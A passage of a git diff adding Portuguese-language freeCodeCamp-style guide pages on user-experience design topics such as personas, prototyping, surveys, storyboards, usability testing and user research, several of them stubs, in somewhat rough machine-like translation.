+[Mailchimp](https://ux.mailchimp.com/patterns)
+
+[Linguagem de Design IBM](https://www.ibm.com/design/language/resources)
+
+[Microsoft](https://developer.microsoft.com/en-us/windows/desktop/design)
+
+[Design de material do Google](https://material.io/guidelines/)
+
+[Padrões de interface do usuário](http://ui-patterns.com/patterns)
+
+[Padrões Móveis](http://www.mobile-patterns.com/)
+
+[BBC GEL](http://www.bbc.co.uk/gel/guidelines/category/design-patterns)
+
+##### Artigos
+
+["Pattern Libraries" por Natasha Hockey para Prototypr.io](https://blog.prototypr.io/pattern-libraries-5d627c5c65b4)
+
+["Bibliotecas padrão: o que são e por que você precisa de um" por Meghan Lazier para Designlab](http://trydesignlab.com/blog/pattern-libraries-what-they-are-and-why-you-need-o/)
+
+["Criando uma biblioteca padrão" por Rebecca Sorensen para a Sumo Logic](https://medium.com/sumo-logic-ux/creating-a-pattern-library-18cce0f901b4)
+
+["Começando com bibliotecas padrão" por Anna Debenham para uma lista separada](http://alistapart.com/blog/post/getting-started-with-pattern-libraries)
+
+["Levando a biblioteca de padrões para o próximo nível" por Vitaly Friedman para Smashing Magazine](https://www.smashingmagazine.com/taking-pattern-libraries-next-level/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/personas/index.md b/client/src/guide/portuguese/user-experience-design/personas/index.md
new file mode 100644
index 0000000000..cc0cada89c
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/personas/index.md
@@ -0,0 +1,50 @@
+---
+title: Personas
+localeTitle: Pessoas
+---
+## Personas
+
+As personas são usadas no processo de design como um guia para criar experiências do usuário com base nos tipos de usuários que um aplicativo terá. Uma persona representa um grupo demográfico de pessoas que usarão o aplicativo. Normalmente, várias personas são criadas antes do design de um aplicativo. As personas ajudarão os designers a criar designs diferentes para os diferentes tipos de usuários.
+
+Por exemplo, se uma equipe estava criando um aplicativo que lidava com associação e operações para um clube de ginástica, alguns dos usuários do aplicativo poderiam incluir funcionários da recepção, vendedores e personal trainers. As idades, a mentalidade e a capacidade técnica desses usuários podem ser muito diferentes. Assim, a equipe criaria uma persona para cada um desses tipos de usuários e incluiria detalhes sobre o cargo, o nível de habilidade, as metas, o histórico e uma breve descrição sobre as atividades diárias desse indivíduo.
+
+## Persona do usuário
+
+Uma persona do usuário é um perfil fictício ou representação de um usuário ideal que você está tentando alcançar. Os designers usam personas para entender melhor seus usuários e personalizar um design para se adequar ao público-alvo.
+
+User personas mostram como uma pessoa pode usar um site ou aplicativo. As necessidades, objetivos e comportamentos de um usuário ajudam os designers a descobrir como eles usam um produto e o que o design pode fazer para que um usuário execute uma ação específica. Uma forte personalidade do usuário identifica claramente essas necessidades e informações essenciais que podem influenciar o design.
+
+Os designers de UX encontram o máximo de pesquisa possível para representar com precisão seus usuários. As informações são organizadas em grupos que representam os usuários ideais que você deseja alcançar. Os designers geralmente se concentram nos grupos de usuários mais importantes porque é mais fácil projetar para um grupo selecionado do que tentar atender às necessidades de todos.
+
+As personas de usuários individuais são uma página e evitam detalhes extras que não afetam o designer final nem ajudam em nenhuma das decisões de design. Você deve certificar-se de que as personas sejam realistas e específicas quanto possível, pois isso ajudará você a encontrar usuários reais quando estiver pronto para testar seu produto.
+
+## Como definir sua personalidade de usuário
+
+Os designers têm diferentes maneiras de criar uma persona de usuário, mas pessoas bem definidas têm 4 elementos. Esses elementos são:
+
+1.Header Perfil 2.Demográfico Objetivo (s) 3.End 4.Scenario
+
+### Cabeçalhos
+
+Cabeçalhos incluem o nome do seu usuário, mago e, freqüentemente, uma citação. A citação é uma maneira de os designers resumirem o que o usuário acha importante. Um cabeçalho forte mantém os designers concentrados nos usuários para os quais eles estão construindo.
+
+### Perfis demográficos
+
+Os perfis demográficos contêm todos os dados da pesquisa do usuário. Todos os dados dão aos projetistas uma visão completa de seus usuários. Existem quatro seções para o perfil: antecedentes pessoais, experiência profissional, ambiente do usuário e psicografia.
+
+Informações pessoais são informações como idade, sexo, etnia e educação. Designers podem incluir o status da família (por exemplo, solteiro, casado, viúvo, etc.) ou grupo de persona (por exemplo, mães que trabalham). O histórico profissional é a ocupação do trabalho, o nível de renda e a experiência de trabalho do usuário.
+
+O ambiente do usuário é o contexto físico, social e tecnológico de um usuário. Essas informações mostram o dia típico de um usuário, onde ele passa seu tempo e o que ele faz com os outros. Psicografia é uma pesquisa sobre como seus usuários pensam e sentem. Esses dados enfocam as atitudes, interesses, motivação e pontos problemáticos de seus usuários.
+
+### Meta (s) final
+
+Um objetivo final é a ação que os usuários realizam para concluir uma meta. As metas finais motivam todos os usuários e mostram o que os usuários querem ou precisam.
+
+### Cenário
+
+Cenários é uma descrição de como os usuários usariam um produto para atingir uma meta final. Essas situações definem quando, onde e como esse evento ocorreria. Você escreve esses cenários da perspectiva do usuário.
+
+#### Mais Informações:
+
+*   [Personas - Usability.gov](https://www.usability.gov/how-to-and-tools/methods/personas.html)
+*   [Smashing Magazine: Um olhar mais atento em Personas](https://www.smashingmagazine.com/2014/08/a-closer-look-at-personas-part-1/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/prototyping/index.md b/client/src/guide/portuguese/user-experience-design/prototyping/index.md
new file mode 100644
index 0000000000..5daa23d50a
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/prototyping/index.md
@@ -0,0 +1,25 @@
+---
+title: Prototyping
+localeTitle: Prototipagem
+---
+## Prototipagem
+
+No desenvolvimento de software, um protótipo é um modelo de trabalho rudimentar de um produto ou sistema de informação, geralmente construído para fins de demonstração ou como parte do processo de desenvolvimento. No modelo de prototipagem do ciclo de vida de desenvolvimento de sistemas (SDLC), uma versão básica do sistema é construída, testada e depois retrabalhada conforme necessário até que um protótipo aceitável seja finalmente alcançado a partir do qual o sistema completo ou produto pode agora ser desenvolvido.
+
+Prototipagem refere-se a um estágio inicial de uma liberação de software na qual a evolução do desenvolvimento e as correções do produto podem ocorrer antes que uma liberação maior seja iniciada. Esses tipos de atividades também podem ser chamadas de fase beta ou teste beta, onde um projeto inicial é avaliado por uma classe menor de usuários antes do desenvolvimento completo.
+
+A prototipagem, bem como testes de amplo espectro e vários lançamentos de software, é parte de um processo mais detalhado produzindo produtos e serviços de software sofisticados. A ideia essencial é que, mesmo quando os recursos de código estejam completos em um projeto, o software, que ainda está em desenvolvimento, pode ter muitos bugs e problemas de usuário. Para muitos deles, ser passado a ferro Além disso, ajuda se o software estiver realmente em uso, mas os desenvolvedores enfrentam a questão de liberar um produto que os usuários finais podem ver como essencialmente falho. Liberar o produto para uma comunidade menor ou restringir seu desenvolvimento em etapas pode ser uma solução muito eficaz.
+
+Em alguns casos, a prototipagem pode envolver voluntários, enquanto em outros casos, clientes especiais ou outros com status especial podem estar envolvido na prototipagem. As equipes de desenvolvimento e as empresas de tecnologia geralmente obtêm feedback sobre um produto durante prototipagem para corrigir problemas antes da distribuição final.
+
+## Ferramentas
+
+Algumas ferramentas de prototipagem populares entre os designers de UX incluem:
+
+*   Esboço - https://sketchapp.com
+*   InVision - https://invisionapp.com
+*   Axure - https://www.axure.com
+*   Adobe XD CC - https://www.adobe.com/in/products/xd.html
+*   Figma - https://figma.com
+*   UXPin - https://www.uxpin.com/
+*   Framer - https://framer.com
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/qualitative-surveys/index.md b/client/src/guide/portuguese/user-experience-design/qualitative-surveys/index.md
new file mode 100644
index 0000000000..ce59232298
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/qualitative-surveys/index.md
@@ -0,0 +1,35 @@
+---
+title: Qualitative Surveys
+localeTitle: Pesquisas Qualitativas
+---
+## Pesquisas Qualitativas
+
+Pesquisas qualitativas - que podem assumir a forma de entrevistas ou outros testes de usabilidade observados diretamente (podem ser presenciais ou por meio de ferramentas de videoconferência como o Skype ou o Google Hangouts) - tendem a ser exploratórios e com o objetivo de obter mais informações. compreensão profunda da experiência do usuário. As pesquisas qualitativas visam reunir informações sobre as experiências e motivações da vida cotidiana de um usuário ou grupo para ver como esses detalhes podem afetar seu uso do produto ou ferramenta.
+
+### Resultados
+
+Ao usar métodos de pesquisa qualitativa, é importante que o pesquisador reconheça que pode ter um efeito nos resultados da pesquisa. Como é a experiência humana que está sendo pesquisada em vez de dados concretos (número de cliques, tendências de localização de login, etc.), é difícil permanecer completamente objetivo durante os testes ou na avaliação dos resultados. Os resultados também não serão necessariamente reproduzíveis. Isso ocorre porque os fatores que afetam a experiência de um usuário são variados e podem mudar de um dia para o outro. Esses fatores podem assumir a forma de um usuário ser mais estressado um dia do que outro devido a novos eventos em sua vida ou ter mais responsabilidades naquele dia, usuários tendo experiências de vida completamente diferentes, mau tempo afetando o humor do usuário e qualquer outra coisa que afeta a vida pessoal ou emocional de uma pessoa.
+
+Os resultados das pesquisas qualitativas são normalmente mostrados como temas ou categorias em vez de números. 1
+
+### Exemplo
+
+Aqui está um ótimo exemplo da [The Interaction Design Foundation](https://www.interaction-design.org/) sobre a diferença entre pesquisa quantitativa e pesquisa qualitativa:
+
+> Para ilustrar a diferença, digamos que você queira estudar os hábitos de exercício de um grupo de usuários. Você pode optar por estudá-los usando métodos de pesquisa quantitativos ou qualitativos. **Se você usar um método _quantitativo_** , poderá criar uma pesquisa on-line e distribuí-la para um grande número de participantes. Os participantes devem responder perguntas pré-definidas sobre seus hábitos de exercício, como “Quantas horas por semana você se exercita?”. Se você fizer seu trabalho obedientemente, as respostas da pesquisa podem ser numericamente resumidas sem preconceitos de sua própria opinião ou experiência pessoal com o exercício.
+> 
+> **Se você usar um método _qualitativo_** , poderá optar por fazer entrevistas com um número limitado de participantes, onde conversará com os participantes sobre quando, onde e como eles se exercitam. Como a entrevista é parecida com uma conversa, seus resultados dependerão de como você faz perguntas de acompanhamento para as respostas dos participantes - e como você faz isso dependerá, em certa medida, da sua personalidade e da sua própria experiência com o exercício. Da mesma forma, os resultados da entrevista também, em certa medida, dependem de uma interpretação subjetiva do que o participante lhe disse.
+
+### Fontes
+
+1.  [Mortensen, Ditte. "\[Boas Práticas para Pesquisa Qualitativa de Usuários\] (https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research)." _\[Interaction Design Foundation\] (https://www.interaction-design.org/)_ . Janeiro de 2018. Acessado em: 23 de fevereiro de 2018](#)
+
+### Recursos:
+
+*   " [Métodos de pesquisa qualitativa em design UX](https://www.slideshare.net/uxtalktokyo/ux-tokyo-talk-6-markus) " por Markus Heberlein (apresentação do SlideShare, mostrada no UX Tokyo Talk 2014)
+    
+*   " [12 técnicas de pesquisa de UX (quantitativa e qualitativa)](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) " por Kevin Dalvi
+    
+*   " [Guia Completo de Iniciantes para a Pesquisa UX](http://www.uxbooth.com/articles/complete-beginners-guide-to-design-research/) " por [UX Booth](http://www.uxbooth.com/)
+    
+*   " [A Crash Course in UX Design Research](https://uxdesign.cc/a-crash-course-in-ux-design-research-ea00c3307c82) " por Matt Lavoie no [UX Collective](https://uxdesign.cc/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/quantitative-surveys/index.md b/client/src/guide/portuguese/user-experience-design/quantitative-surveys/index.md
new file mode 100644
index 0000000000..703c1c7a1c
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/quantitative-surveys/index.md
@@ -0,0 +1,34 @@
+---
+title: Quantitative Surveys
+localeTitle: Pesquisas Quantitativas
+---
+## Pesquisas Quantitativas
+
+**Pesquisas quantitativas** analisam a abordagem estatística da análise dos resultados da pesquisa. As perguntas são projetadas de maneira que as respostas sejam registradas em números. Então você olha para quantos usuários responderam certas questões.
+
+#### Pesquisas Quantitativas nos falam sobre
+
+*   Quantos usuários usam o produto?
+*   Que tipo de pessoas usam o produto?
+*   Qual é o mercado para o nosso produto?
+
+É uma ótima abordagem para testar o mercado, ver tendências, padrões, base de usuários, ver o sucesso do produto etc.
+
+#### Exemplos de perguntas
+
+*   Você usa o campo de código livre?
+    *   sim
+    *   Não
+*   Quantos desafios você terminou no campo de código livre?
+    *   Menos de 100
+    *   Menos do que 500
+    *   Mais de 500
+*   Quantos certificados você ganhou no campo de código livre no total?
+    *   0
+    *   1
+    *   2
+    *   3
+
+#### Mais Informações:
+
+[Artigo sobre pesquisa quantitativa](https://www.marketingdonut.co.uk/market-research/questionnaires-surveys-and-focus-groups/what-is-quantitative-research)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/stakeholder-interviews/index.md b/client/src/guide/portuguese/user-experience-design/stakeholder-interviews/index.md
new file mode 100644
index 0000000000..20fe1c4b19
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/stakeholder-interviews/index.md
@@ -0,0 +1,11 @@
+---
+title: Stakeholder Interviews
+localeTitle: Entrevistas com as partes interessadas
+---
+## Entrevistas com as partes interessadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/stakeholder-interviews/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/storyboards/index.md b/client/src/guide/portuguese/user-experience-design/storyboards/index.md
new file mode 100644
index 0000000000..ca7953d027
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/storyboards/index.md
@@ -0,0 +1,29 @@
+---
+title: Storyboards
+localeTitle: Storyboards
+---
+## Storyboards
+
+Um storyboard é uma seqüência de imagens e sinopses que, juntas, transmitem a experiência de um usuário no cumprimento de alguma meta. Os storyboards ajudam as equipes de produto e UX a debater os pontos problemáticos de um usuário.
+
+O storyboard primeiro vem depois da pesquisa do usuário, desenvolvimento de persona e trabalhos a serem feitos. Esta instância do Storyboarding descreve os pontos problemáticos do usuário com a solução existente. A próxima instância do storyboard vem após a ideação da solução, para comunicar o futuro previsto de como a vida do usuário foi aprimorada.
+
+Geralmente esboçados à mão, os Storyboards são uma maneira rápida e barata de comunicar o comportamento de um usuário antes e depois da solução proposta.
+
+Storyboards Eficazes…
+
+*   Devemos:
+    *   delinear claramente o usuário, suas ações, emoções e resultados
+    *   mostra apenas elementos da interface do usuário relevantes para a interação ao mostrar close-ups de dispositivos
+*   Não deveria:
+    *   ser "pixel perfeito"
+    *   demonstrar a integridade da interface do usuário
+
+![Exemplo de storyboard](https://github.com/yunChigewan/storage/blob/master/storyboard_pic.jpeg?raw=true)
+
+Crédito da imagem: Chelsea Hostetter, Austin Center for Design
+
+#### Mais Informações:
+
+*   Imagens para usar nos Storyboards www.designcomics.org
+*   Artigo de storyboard do UX Planet https://uxplanet.org/storyboarding-in-ux-design-b9d2e18e5fab
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/task-analysis/index.md b/client/src/guide/portuguese/user-experience-design/task-analysis/index.md
new file mode 100644
index 0000000000..2836865168
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/task-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Task Analysis
+localeTitle: Análise de tarefas
+---
+## Análise de tarefas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/task-analysis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/usability-testing/index.md b/client/src/guide/portuguese/user-experience-design/usability-testing/index.md
new file mode 100644
index 0000000000..720e1c2f7b
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/usability-testing/index.md
@@ -0,0 +1,47 @@
+---
+title: Usability Testing
+localeTitle: Testando usabilidade
+---
+## Testando usabilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/usability-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+O teste de usabilidade é uma técnica usada no design de interação centrada no usuário para avaliar um produto, testando-o nos usuários. Isso pode ser visto como uma prática de usabilidade insubstituível, uma vez que fornece informações diretas sobre como usuários reais usam o sistema.
+
+Isso está em contraste com os métodos de inspeção de usabilidade, em que os especialistas usam métodos diferentes para avaliar uma interface de usuário sem envolver os usuários.
+
+O teste de usabilidade se concentra em medir a capacidade de um produto feito pelo homem para atender a sua finalidade. Exemplos de produtos que geralmente se beneficiam de testes de usabilidade são alimentos, produtos de consumo, sites da Web ou aplicativos da Web, interfaces de computador, documentos e dispositivos. O teste de usabilidade mede a usabilidade, ou facilidade de uso, de um objeto específico ou conjunto de objetos, enquanto os estudos gerais de interação humano-computador tentam formular princípios universais. Esse teste é recomendado durante a fase inicial de design do SDLC, o que dá mais visibilidade às expectativas dos usuários. Métodos
+
+1.  Teste de corredor
+
+O teste de corredor é um método rápido e barato de testar a usabilidade, no qual as pessoas selecionadas aleatoriamente - por exemplo, as que passam no corredor - são solicitadas a tentar usar o produto ou serviço. Isso pode ajudar os projetistas a identificar "paredes de tijolos", problemas tão sérios que os usuários simplesmente não podem avançar, nos estágios iniciais de um novo design. Qualquer pessoa, exceto projetistas e engenheiros de projeto, pode ser usada (eles tendem a atuar como "revisores especialistas" porque estão muito próximos do projeto).
+
+2.  Teste de usabilidade remota
+
+Em um cenário em que avaliadores de usabilidade, desenvolvedores e usuários em potencial estão localizados em diferentes países e fusos horários, a realização de uma avaliação tradicional de usabilidade de laboratório cria desafios, tanto do custo quanto das perspectivas logísticas. Essas preocupações levaram à pesquisa sobre avaliação de usabilidade remota, com o usuário e os avaliadores separados por espaço e tempo. Testes remotos, que facilitam avaliações feitas no contexto de outras tarefas e tecnologias do usuário, podem ser síncronas ou assíncronas. O primeiro envolve comunicação individual em tempo real entre o avaliador e o usuário, enquanto o segundo envolve o avaliador e o usuário trabalhando separadamente. Inúmeras ferramentas estão disponíveis para atender às necessidades dessas duas abordagens. As metodologias de teste de usabilidade síncrona envolvem videoconferência ou empregam ferramentas de compartilhamento remoto de aplicativos, como o WebEx. WebEx e GoToMeeting são as tecnologias mais usadas para conduzir um teste de usabilidade remota síncrona. No entanto, o teste remoto síncrono pode não ter a rapidez e a sensação de "presença" desejadas para suportar um processo de teste colaborativo. Além disso, a gestão da dinâmica interpessoal através das barreiras culturais e linguísticas pode exigir abordagens sensíveis às culturas envolvidas. Outras desvantagens incluem ter controle reduzido sobre o ambiente de teste e as distrações e interrupções experimentadas pelos participantes em seu ambiente nativo. Um dos métodos mais recentes desenvolvidos para realizar um teste de usabilidade remota síncrona é usando mundos virtuais. As metodologias assíncronas incluem a coleta automática de fluxos de cliques do usuário, logs de usuários de incidentes críticos que ocorrem durante a interação com o aplicativo e feedback subjetivo na interface pelos usuários. Semelhante a um estudo em laboratório, um teste de usabilidade remota assíncrona é baseado em tarefas e a plataforma permite que os pesquisadores capturem cliques e tempos de tarefas. Assim, para muitas grandes empresas, isso permite que os pesquisadores entendam melhor as intenções dos visitantes ao visitar um site ou um site para dispositivos móveis. Além disso, esse estilo de teste do usuário também oferece uma oportunidade de segmentar o feedback por tipo demográfico, atitudinal e comportamental. Os testes são realizados no próprio ambiente do usuário (em vez de em laboratórios), ajudando a simular ainda mais os testes do cenário da vida real. Essa abordagem também fornece um veículo para solicitar facilmente o feedback de usuários em áreas remotas rapidamente e com menores custos de organização. Nos últimos anos, a realização de testes de usabilidade de forma assíncrona também se tornou predominante e permite que os testadores forneçam feedback em seu tempo livre e no conforto de sua própria casa.
+
+3.  Revisão perito
+
+A revisão de especialistas é outro método geral de teste de usabilidade. Como o nome sugere, este método baseia-se em trazer especialistas com experiência no campo (possivelmente de empresas especializadas em testes de usabilidade) para avaliar a usabilidade de um produto. Uma avaliação heurística ou auditoria de usabilidade é uma avaliação de uma interface por um ou mais especialistas em fatores humanos. Os avaliadores medem a usabilidade, eficiência e eficácia da interface com base em princípios de usabilidade, como as 10 heurísticas de usabilidade originalmente definidas por Jakob Nielsen em 1994.
+
+As heurísticas de usabilidade da Nielsen, que continuaram a evoluir em resposta a pesquisas de usuários e novos dispositivos, incluem:
+
+*   Visibilidade do status do sistema
+*   Correspondência entre o sistema e o mundo real
+*   Controle do usuário e liberdade
+*   Consistência e padrões
+*   Prevenção de erros
+*   Reconhecimento ao invés de lembrar
+*   Flexibilidade e eficiência de uso
+*   Design estético e minimalista
+
+1.  Revisão automatizada de especialistas
+
+Semelhante às revisões de especialistas, as análises de especialistas automatizadas fornecem testes de usabilidade, mas, por meio do uso de programas, fornecem regras para um bom design e heurística. Embora uma análise automatizada possa não fornecer tantos detalhes e insights quanto as avaliações de pessoas, elas podem ser concluídas com mais rapidez e consistência. A ideia de criar usuários substitutos para testes de usabilidade é uma direção ambiciosa para a comunidade de inteligência artificial.
+
+*   Ajude os usuários a reconhecer, diagnosticar e recuperar erros
+*   Ajuda e documentação
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/user-centered-design/index.md b/client/src/guide/portuguese/user-experience-design/user-centered-design/index.md
new file mode 100644
index 0000000000..4239637237
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/user-centered-design/index.md
@@ -0,0 +1,27 @@
+---
+title: User-Centered Design
+localeTitle: Design Centrado no Usuário
+---
+## Design Centrado no Usuário
+
+O design centrado no usuário (UCD) é uma coleção de processos que se concentram em colocar os usuários no centro do design e desenvolvimento de produtos. UCD é um abordagem de design iterativo que visa desenvolver uma compreensão das necessidades do usuário, fazendo-o através de uma mistura de investigação (por exemplo, pesquisas e entrevistas) e métodos e ferramentas geradoras (por exemplo, brainstorming). Crucialmente, o UCD envolve os usuários em todas as fases de projeto e avaliação. Os designers examinam a usabilidade, as características, o ambiente e as tarefas de um produto e estão bastante atentos a todas as etapas do processo de design.
+
+O principal objetivo do UCD é otimizar o produto, serviço ou processo em torno de como os usuários usarão o produto, em vez de forçar os usuários a confirmar ou mudar seu comportamento para adaptar o produto.
+
+### Fases do Processo UCD
+
+1.  Especifique o contexto de uso: Identifique as pessoas que usarão o produto, para que elas o usarão e sob quais condições elas serão usadas.
+2.  Especifique os requisitos: Identifique quaisquer requisitos de negócios ou objetivos do usuário que devem ser atendidos para que o produto seja bem-sucedido.
+3.  Crie soluções de design: essa parte do processo pode ser feita em etapas, desde um conceito básico até um design completo.
+4.  Avaliar projetos: a avaliação, idealmente por meio de testes de usabilidade com usuários reais, é tão essencial quanto o teste de qualidade é um bom desenvolvimento de software
+
+### Design Centrado no Usuário vs. Design Centrado no Homem
+
+O design centrado no usuário é freqüentemente usado de forma intercambiável com o design centrado no humano, mas o primeiro é na verdade um subconjunto do último. O design centrado no usuário preocupa-se não apenas em atender a qualquer usuário humano em particular, mas em um tipo específico de usuário. Assim, o design centrado no usuário requer uma análise mais profunda dos usuários - seu público-alvo. Não é apenas sobre características gerais de uma pessoa; trata-se de hábitos e preferências específicos de usuários-alvo para encontrar soluções certas para problemas específicos.
+
+O design centrado no usuário leva em consideração a idade, sexo, status social, educação e experiência profissional, fatores influentes, expectativas e demandas de uso do produto e muitas outras coisas importantes que podem variar para diferentes segmentos. O design centrado no usuário é uma pesquisa profunda sobre usuários hábitos, desde suas interações com o produto até sua visão de como o produto deve se parecer e se comportar.
+
+#### Mais Informações:
+
+*   [Design Centrado no Usuário: Uma Introdução](https://usabilitygeek.com/user-centered-design-introduction/) - Geek Usabilidade
+*   [Benefícios do Design Centrado no Usuário](https://www.usability.gov/what-and-why/benefits-of-ucd.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/user-flow/index.md b/client/src/guide/portuguese/user-experience-design/user-flow/index.md
new file mode 100644
index 0000000000..2f8f6cff77
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/user-flow/index.md
@@ -0,0 +1,11 @@
+---
+title: User Flow
+localeTitle: Fluxo do usuário
+---
+## Fluxo do usuário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-design/user-flow/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-design/user-research/index.md b/client/src/guide/portuguese/user-experience-design/user-research/index.md
new file mode 100644
index 0000000000..1617b7b459
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-design/user-research/index.md
@@ -0,0 +1,53 @@
+---
+title: User Research
+localeTitle: Pesquisa do usuário
+---
+## Pesquisa do usuário
+
+Os métodos de pesquisa com experiência do usuário são ótimos para produzir dados e insights, enquanto atividades contínuas ajudam a fazer as coisas certas. Juntamente com a pesquisa e desenvolvimento, as atividades de UX em andamento podem tornar os esforços de todos mais eficazes e valiosos. Em todos os estágios do processo de design, diferentes métodos de UX podem manter os esforços de desenvolvimento de produtos no caminho certo, de acordo com as verdadeiras necessidades do usuário, e não as imaginárias.
+
+#### 20 métodos UX em resumo
+
+Aqui está uma breve descrição dos métodos de pesquisa do usuário mostrados no gráfico acima:
+
+_Estudos de Laboratório de Usabilidade: os_ participantes são levados a um laboratório, um a um com um pesquisador e recebem um conjunto de cenários que levam a tarefas e uso de interesse específico dentro de um produto ou serviço.
+
+_Estudos Etnográficos de Campo: os_ pesquisadores se encontram e estudam os participantes em seu ambiente natural, onde eles provavelmente encontrarão o produto ou serviço em questão.
+
+_Design_ participativo _: os_ participantes recebem elementos de design ou materiais criativos para construir sua experiência ideal de uma maneira concreta que expresse o que é mais importante para eles e por quê. Grupos de foco: grupos de 3 a 12 participantes são liderados por meio de uma discussão sobre um conjunto de tópicos, dando feedback verbal e por escrito através de discussões e exercícios.
+
+_Entrevistas:_ um pesquisador se reúne com os participantes individualmente para discutir em profundidade o que o participante pensa sobre o tópico em questão.
+
+_Eyetracking:_ um dispositivo de eyetracking é configurado para medir com precisão onde os participantes observam enquanto realizam tarefas ou interagem naturalmente com sites, aplicativos, produtos físicos ou ambientes.
+
+_Benchmarking de Usabilidade:_ estudos de usabilidade com scripts rigorosos são realizados com vários participantes, usando medidas de desempenho precisas e predeterminadas.
+
+_Estudos de Usabilidade Remota Moderada:_ estudos de usabilidade realizados remotamente com o uso de ferramentas como software de compartilhamento de tela e recursos de controle remoto.
+
+_Estudos de Painel Remoto Não Moderado:_ um painel de participantes treinados que possuem software de gravação de vídeo e coleta de dados instalado em seus próprios dispositivos pessoais usa um website ou produto enquanto pensa em voz alta, tendo sua experiência gravada para reprodução imediata e análise pelo pesquisador ou empresa.
+
+_Teste de conceito:_ um pesquisador compartilha uma aproximação de um produto ou serviço que captura a essência chave (a proposição de valor) de um novo conceito ou produto, a fim de determinar se ele atende às necessidades do público-alvo; Isso pode ser feito individualmente ou com um número maior de participantes, seja pessoalmente ou on-line.
+
+_Diário / Câmera Estudos: os_ participantes recebem um mecanismo (diário ou câmera) para registrar e descrever aspectos de suas vidas que são relevantes para um produto ou serviço, ou simplesmente essenciais para o público-alvo; os estudos de diário são tipicamente longitudinais e só podem ser feitos para dados que são facilmente registrados pelos participantes.
+
+_Feedback do cliente: informações_ abertas e / ou fechadas fornecidas por uma amostra de usuários auto-selecionada, geralmente por meio de um link de feedback, botão, formulário ou e-mail.
+
+_Estudos de Desirability: os_ participantes recebem diferentes alternativas de design visual e espera-se que associem cada alternativa a um conjunto de atributos selecionados de uma lista fechada; Esses estudos podem ser qualitativos e quantitativos.
+
+_Card Sorting:_ um método quantitativo ou qualitativo que pede aos usuários para organizar os itens em grupos e atribuir categorias a cada grupo. Esse método ajuda a criar ou refinar a arquitetura de informações de um site, expondo os modelos mentais dos usuários.
+
+_Análise de fluxo de_ cliques _:_ analisando o registro de telas ou páginas em que os usuários clicam e vêem, ao usar um site ou produto de software; Ele exige que o site seja instrumentado adequadamente ou que o aplicativo tenha a coleta de dados de telemetria ativada.
+
+_Teste A / B (também conhecido como "teste multivariável", "teste em tempo real" ou "teste de intervalo"):_ um método de testar cientificamente diferentes designs em um site, atribuindo aleatoriamente grupos de usuários para interagir com cada um dos diferentes designs e medir o efeito dessas atribuições no comportamento do usuário.
+
+_Estudos de UX não moderados:_ um método quantitativo ou qualitativo e automatizado que utiliza uma ferramenta de pesquisa especializada para capturar comportamentos participantes (através de software instalado em computadores / navegadores participantes) e atitudes (através de questionários incorporados), geralmente dando aos participantes metas ou cenários a serem alcançados. um site ou protótipo.
+
+_Estudos de Intenção Verdadeira:_ um método que pergunta aos visitantes aleatórios do site qual é o objetivo ou a intenção deles ao entrar no site, mede seu comportamento subsequente e pergunta se eles obtiveram sucesso em atingir sua meta ao sair do site.
+
+_Pesquisas de Interceptação:_ uma pesquisa que é acionada durante o uso de um site ou aplicativo.
+
+_Email Surveys:_ uma pesquisa na qual os participantes são recrutados de uma mensagem de email.
+
+#### Mais Informações:
+
+[Folha de referência da pesquisa UX](https://www.nngroup.com/articles/ux-research-cheat-sheet/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/user-experience-research/contextual-inquiries/index.md b/client/src/guide/portuguese/user-experience-research/contextual-inquiries/index.md
new file mode 100644
index 0000000000..8eb3128084
--- /dev/null
+++ b/client/src/guide/portuguese/user-experience-research/contextual-inquiries/index.md
@@ -0,0 +1,18 @@
+---
+title: Contextual Inquiries
+localeTitle: Consultas Contextuais
+---
+## Consultas Contextuais
+
